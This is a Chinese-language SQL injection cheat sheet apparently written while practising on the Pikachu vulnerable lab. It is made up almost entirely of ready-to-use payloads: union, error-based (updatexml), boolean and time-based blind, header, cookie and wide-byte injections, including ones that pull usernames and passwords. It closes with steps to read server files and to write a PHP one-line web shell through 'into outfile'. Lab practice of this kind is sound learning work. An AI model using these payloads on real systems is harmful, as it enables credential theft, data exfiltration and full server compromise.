工具:burpsuit,hackbar
靶场:pikachu
一,基本注入类型:
1,数字型注入
(1)先用burpsuit抓包,或使用浏览器开发者工具找到请求data
然后使用hackbar点击post data发送请求
id=3 or 1=1 &submit=查询
2,字符型注入
' or 1=1 #
3,搜索型注入
%s%
%s%' or 1=1
select id,email from member where username='kevin'union select username,pw from member where id=1;
a' order by 5 # 判断有多少字段
# database() 查看数据库名,用户,版本
a ' union select database(),user(),version() 要和order by判断出的长度一致
# 判断数据库表名
u' union select table_schema,table_name,3 from information_schema.tables where table_schema="pikachu"#
# information_schema 数据库中tabkles保存所有数据库对应的表名 columns中保存所有字段
ee' union select table_name,column_name,3 from information_schema.columns where table_schema="pikachu" #
er 'union select username,password,3 from users #
4,xx型注入
') or 1=1 #
5,insert,update注入
注册用户时注入,使用重发器(基于报错信息获取)
#爆表名
'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) or'
update注入
在修改信息页面:提交修改,
'or updatexml(1,concat(0x7e,(select database()),0x7e),1) or' 要进行特护字符编码转换
'or updatexml(0,concat(0x7e,database()),0) or'要进行特护字符编码转换
6,detele注入使用hackbar(报错显示数据库)
http://192.168.248.111/pikachu/vul/sqli/sqli_del.php?id=4546 or updatexml(2,concat(0x7e,(database())),0)
7,http header和cookie注入
在user-agent注入:
'or updatexml(0,concat(0x7e,(select password from users limit 0,1)),0) or'
cookie中注入:
# cookie注入:在admin后添加 ' 语句#
ant[uname]=admin'and updatexml(1,concat(0x7e,database()),0)#;
8,布尔盲注:
# 判断数据库名长度,如果正确显示用户,错误显示用户名不正确
vince ' and length(database())=8#
# p的ascii码是112 正确显示用户错误显示用户名不正确
vince ' and ascii(substr(database(),1,1))=112#
10,时间盲注,原理:如果可以注入,就延时,如果不行就立刻显示
vince ' and if(substr(database(),1,1)='p',sleep(10),null)#
11,宽字节注入:
原理:https://www.cnblogs.com/yyy413/p/15705734.html
使用burpsuit注入+
vince%df' or 1=1#
12,------- 基于报错信息获取---------
# 爆数据库版本0x7e可换为任意16进制字符串
l'and updatexml(1,concat(0x7e,(select @@version),0x7e),1) #
# 爆数据库当前用户
k' and updatexml(1,concat(0x7e,(select user()),0x7e),1) #
# 爆当前数据库
k' and updatexml(1,concat(0x7e,(select database()),0x7e),1) #
# 爆表 limit 0,1 一次取一行
l' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0)
二,注入成功后文件操作:
1,读取文件:
# 联合查询读取文件
'union select 1,load_file('c:\\aa.txt') #
'union select 1,load_file('c:/aa.txt') -- +
# 可能需要把c:/aa.txt转义16进制文件周围引号要去掉
'union select 1,load_file(0x633a2f61612e747874)#
2,写入文件
# 写入一句话木马
1' union select 1,"<?php eval($_POST[wang]);?>" into outfile 'C:/111.php'-- l